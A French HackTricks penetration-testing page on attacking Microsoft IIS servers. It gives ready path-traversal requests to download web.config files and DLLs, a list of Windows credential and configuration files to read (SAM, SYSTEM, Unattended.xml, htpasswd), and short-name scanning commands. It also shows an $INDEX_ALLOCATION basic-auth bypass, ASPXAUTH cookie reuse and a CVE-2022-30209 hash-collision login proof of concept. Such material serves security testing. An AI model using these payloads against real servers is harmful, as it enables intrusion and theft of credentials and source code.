IIS - Internet Information Services

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks:

Testez les extensions de fichiers exécutables :

  • asp

  • aspx

  • config

  • php

Divulgation de l'adresse IP interne

Sur n'importe quel serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous pointer vers l'adresse IP interne :

nc -v domain.com 80
openssl s_client -connect domain.com:443

Réponse divulguant l'IP interne :

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Exécuter des fichiers .config

Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : Téléchargez l'exemple ici

Plus d'informations et de techniques pour exploiter cette vulnérabilité ici

Bruteforce de découverte IIS

Téléchargez la liste que j'ai créée :

Elle a été créée en fusionnant le contenu des listes suivantes :

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.

Traversée de chemin

Fuite de code source

Consultez l'analyse complète sur : https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "assemblyIdentity" et aux "namespaces". Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger. À partir des Dlls téléchargés, il est également possible de trouver de nouveaux namespaces auxquels vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity. De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.\

Dans les applications .Net MVC, le fichier web.config joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application repose à travers les balises XML "assemblyIdentity".

Exploration des fichiers binaires

Un exemple d'accès au fichier web.config est présenté ci-dessous :

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Ce demande révèle divers paramètres et dépendances, tels que:

  • Version d'EntityFramework

  • AppSettings pour les pages web, la validation client et JavaScript

  • Configurations de System.web pour l'authentification et l'exécution

  • Paramètres des modules de System.webServer

  • Liaisons d'assembly de Runtime pour de nombreuses bibliothèques comme Microsoft.Owin, Newtonsoft.Json, et System.Web.Mvc

Ces paramètres indiquent que certains fichiers, tels que /bin/WebGrease.dll, sont situés dans le dossier /bin de l'application.

Fichiers du Répertoire Racine

Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.

Espaces de Noms et Web.Config

Les applications MVC définissent également des fichiers web.config supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Téléchargement de DLLs

La mention d'un espace de noms personnalisé suggère l'existence d'une DLL nommée "WebApplication1" présente dans le répertoire /bin. Ensuite, une requête pour télécharger le WebApplication1.dll est affichée:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Cela suggère la présence d'autres DLL essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.

Dans un scénario où une DLL importe un espace de noms appelé WebApplication1.Areas.Minded, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que /nom-de-la-zone/Views/, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête vers /Minded/Views/web.config peut révéler des configurations et des espaces de noms indiquant la présence d'une autre DLL, WebApplication1.AdditionalFeatures.dll.

Fichiers courants

Depuis ici

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Erreur 404 HTTPAPI 2.0

Si vous voyez une erreur comme celle-ci :

Cela signifie que le serveur n'a pas reçu le nom de domaine correct dans l'en-tête Host. Pour accéder à la page web, vous pouvez consulter le certificat SSL fourni et peut-être trouver le nom de domaine/sous-domaine à l'intérieur. S'il n'est pas là, vous devrez peut-être forcer VHosts jusqu'à ce que vous trouviez le bon.

Anciennes vulnérabilités IIS à rechercher

Vulnérabilité/Fonctionnalité du caractère tilde “~” de Microsoft IIS - Divulgation de noms de fichiers/dossiers courts

Vous pouvez essayer d'énumérer les dossiers et fichiers à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette technique. La principale limitation de cette technique si le serveur est vulnérable est qu'elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension des fichiers.

Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Vous pouvez également utiliser metasploit : use scanner/http/iis_shortname_scanner

Contournement de l'authentification de base

Contournez une authentification de base (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php ou /admin::$INDEX_ALLOCATION/admin.php

Vous pouvez essayer de combiner cette vulnérabilité avec la précédente pour trouver de nouveaux dossiers et contourner l'authentification.

Débogage activé Trace.AXD ASP.NET

ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd.

Il conserve un journal très détaillé de toutes les requêtes effectuées à une application sur une période donnée.

Ces informations incluent les adresses IP distantes des clients, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations de code source, et potentiellement même les noms d'utilisateur et les mots de passe.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH utilise les informations suivantes :

  • validationKey (chaîne) : clé encodée en hexadécimal à utiliser pour la validation de la signature.

  • decryptionMethod (chaîne) : (par défaut "AES").

  • decryptionIV (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).

  • decryptionKey (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.

Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l'e-mail de l'utilisateur. Par conséquent, si vous trouvez un site web utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l'e-mail de l'utilisateur que vous souhaitez usurper sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du deuxième serveur dans le premier et usurper l'utilisateur. Cette attaque a fonctionné dans ce writeup.

Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209)

Rapport complet ici : Un bogue dans le code ne vérifiait pas correctement le mot de passe fourni par l'utilisateur, donc un attaquant dont le hachage de mot de passe correspond à une clé déjà dans le cache pourra se connecter en tant qu'utilisateur.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour